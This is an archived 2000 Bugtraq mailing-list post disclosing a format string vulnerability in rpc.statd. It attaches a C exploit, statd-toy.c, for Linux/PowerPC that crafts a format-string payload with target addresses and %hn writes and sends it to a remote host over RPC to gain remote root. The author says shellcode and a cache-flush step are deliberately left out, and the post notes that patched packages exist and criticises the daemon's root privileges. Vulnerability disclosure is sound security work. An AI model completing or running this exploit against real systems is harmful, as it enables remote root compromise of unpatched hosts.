[15798] in bugtraq
Lots and lots of fun with rpc.statd
daemon@ATHENA.MIT.EDU (Daniel Jacobowitz)
Mon Jul 17 13:55:42 2000
Mail-Followup-To: Daniel Jacobowitz <drow@false.org>, bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
protocol="application/pgp-signature"; boundary="EuxKj2iCbKjpUGkD"
Content-Disposition: inline
Message-Id: <20000716194510.A15951@drow.them.org>
Date: Sun, 16 Jul 2000 19:45:10 -0700
Reply-To: Daniel Jacobowitz <drow@FALSE.ORG>
From: Daniel Jacobowitz <drow@FALSE.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
--EuxKj2iCbKjpUGkD
Content-Type: multipart/mixed; boundary="vtzGhvizbBRQ85DL"
Content-Disposition: inline
--vtzGhvizbBRQ85DL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Last week was a little quiet, so I thought I'd throw some kindling on the
fire. Here's another prime example of a format string bug: our old friend
rpc.statd.
Attached is an exploit. The offsets are for Linux/PowerPC, Debian 2.2. It
isn't functional, though - and it's more than just kiddy-proofed. You'll
need three things:
(A) shellcode. There's two or three published; mine isn't quite ready
for public consumption (meaning it's so ugly it embarrasses me).
I think it's better than any of the other PPC shellcodes currently
available, though. I'll publish it eventually.
(B) sm_inter.x from the nfs-utils source
(C) A way to flush the cache before running code.
PowerPC (recent CPUs, at least) has a separate data and instruction
cache. If you use this exploit as is, with gdb attached to the
process, single stepping, it will work. If you run it on a remote
machine, it won't. Why not? Because the code is on the stack, which
remains in the data cache, and then the icache loads the old contents
of the stack when you branch there!
There are several solutions to this.
You may also need to change the offsets. I think the exploit says all it
needs to say without hand-holding - questions about using it WILL go
directly to /dev/null. I do have a fully function version of this, and I
have verified that it works as promised.
The current version of statd does not have these problems, for at least the
past two weeks (I believe the current version is 0.1.9.1). Fixed Debian
packages are available for alpha, sparc, powerpc, and i386.
And a rant about the bug, from Chris Evans:
===========================================
- The severity of this hole, i.e. remote root, is much greater than it
should be. All the stupid daemon does is listen to requests on a network,
and manage a few files.
Call the UNIX security model non-granular, and poor, but there's no way
you need root to do that.
It's true that it requires a low-port (i.e. privileged) socket to send
data on, as a way of gaining the trust of the remote (where remote is
often the localhost). However, since it's a connectionless UDP socket, you
can launch the daemon as root, grab the socket, and drop root.
Furthermore, the daemon is a prime candidate for chroot()'ing, but this is
not done. The above plus a chroot() would limit the severity of this hole
to a non-root shell without the ability to raise privilege by exec()'ing
any suid-root binaries.
Finally note that rpc.statd is by no means the only daemon guilty of
overprivilege like this. The neanderthal "use root" approach of most
ftpd's is just asking for remote root trouble. Has no-one heard of
distrusting privileged helpers?
===========================================
Dan
/--------------------------------\ /--------------------------------\
| Daniel Jacobowitz |__| SCS Class of 2002 |
| Debian GNU/Linux Developer __ Carnegie Mellon University |
| dan@debian.org | | dmj+@andrew.cmu.edu |
\--------------------------------/ \--------------------------------/
--vtzGhvizbBRQ85DL
Content-Type: text/x-csrc; charset=us-ascii
Content-Disposition: attachment; filename="statd-toy.c"
Content-Transfer-Encoding: quoted-printable
/*
* Slightly dysfunctional rpc.statd exploit
* for all the dysfunctional script kiddies out there
*
* Author: drow, 07/2000
*
* And just for kicks...
* Greets:
* Chris Evans, whose fault all this is
* whoever wrote the old solaris statd exploit I ripped the RPC code out of
* <james> send out greetz to all the 1337 D3B14N H4X0R2!!!!
* and THEM (THEY know who THEY are)
*
*
* This is dedicated to Joel Klecker. Those who knew him know why.
*
*/
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>
void usage(char *s) {
printf("Usage: %s host [-nopoke]\n", s);
exit(0);
}
extern char shell[];
main(int argc, char *argv[]) {
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct mon monreq;
struct sm_stat_res monres;
struct hostent *hp;
struct sockaddr_in target;
int sd, i, noplen=3Dstrlen(nop), nopoke=3D0;
char *ptr=3Dcode, *p2, code[4096];
if (argc < 2)
usage(argv[0]);
if (argc > 2)
nopoke =3D 1;
/* Alignment */
strcpy(ptr, "AAA");
ptr +=3D strlen(ptr);
=20
/* Target to write to! */
*(unsigned long *)(ptr) =3D 0x7fffeb04;
ptr +=3D sizeof(unsigned long);
=20
/* pad */
*(unsigned long *)(ptr) =3D 0x11111111;
ptr +=3D sizeof(unsigned long);
/* Target Two (two higher in memory probably) */
*(unsigned long *)(ptr) =3D 0x7fffeb06;
ptr +=3D sizeof(unsigned long);
=20
for(i =3D 0; i < 46-1; i++) {
strcpy(ptr, "%12d");
ptr +=3D strlen(ptr);
}
if(!nopoke) {
/* Value to write - amount written */
/* Guess a bit - remember to leave a lot of padding, and be lucky on alig=
nment */
/* Don't correct for IP address! Forced to localhost by stat code - same=
length. */
#define HIGH 0x7fff
#define LOW 0xeecc
sprintf(ptr, "%%%dd%%hn", HIGH - 12*45
- strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC"));
ptr +=3D strlen(ptr);
sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536);
ptr +=3D strlen(ptr);
/* CODE */
p2 =3D shell;
while(*p2)
*(ptr++) =3D *(p2++);
}
*(ptr++) =3D 0;
memset(&monreq, 0, sizeof(monreq));
monreq.mon_id.my_id.my_name=3D"localhost";
monreq.mon_id.my_id.my_prog=3D0;
monreq.mon_id.my_id.my_vers=3D0;
monreq.mon_id.my_id.my_proc=3D0;
monreq.mon_id.mon_name=3D code /*code*/;
if ((hp=3Dgethostbyname(argv[1])) =3D=3D NULL) {
printf("Can't resolve %s\n", argv[1]);
exit(0);
}
target.sin_family=3DAF_INET;
target.sin_addr.s_addr=3D*(u_long *)hp->h_addr;
target.sin_port=3D0; /* ask portmap */
sd=3DRPC_ANYSOCK;
tm.tv_sec=3D10;
tm.tv_usec=3D0;
if ((cl=3Dclntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) =3D=3D NULL=
) {
clnt_pcreateerror("clnt_create");
exit(0);
}
stat=3Dclnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
(char *)&monres, tm);
if (stat !=3D RPC_SUCCESS)
clnt_perror(cl, "clnt_call");
else
printf("stat_res =3D %d.\n", monres.res_stat);
clnt_destroy(cl);
}
--vtzGhvizbBRQ85DL--
--EuxKj2iCbKjpUGkD
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE5cnM2bgOPXuCjg3cRAiZdAJ9fSz2KJHy8v6uWHja7c0ifsDAcHgCePg/u
Ep5oQeMRF0p1zolILnh2evE=
=JDj1
-----END PGP SIGNATURE-----
--EuxKj2iCbKjpUGkD--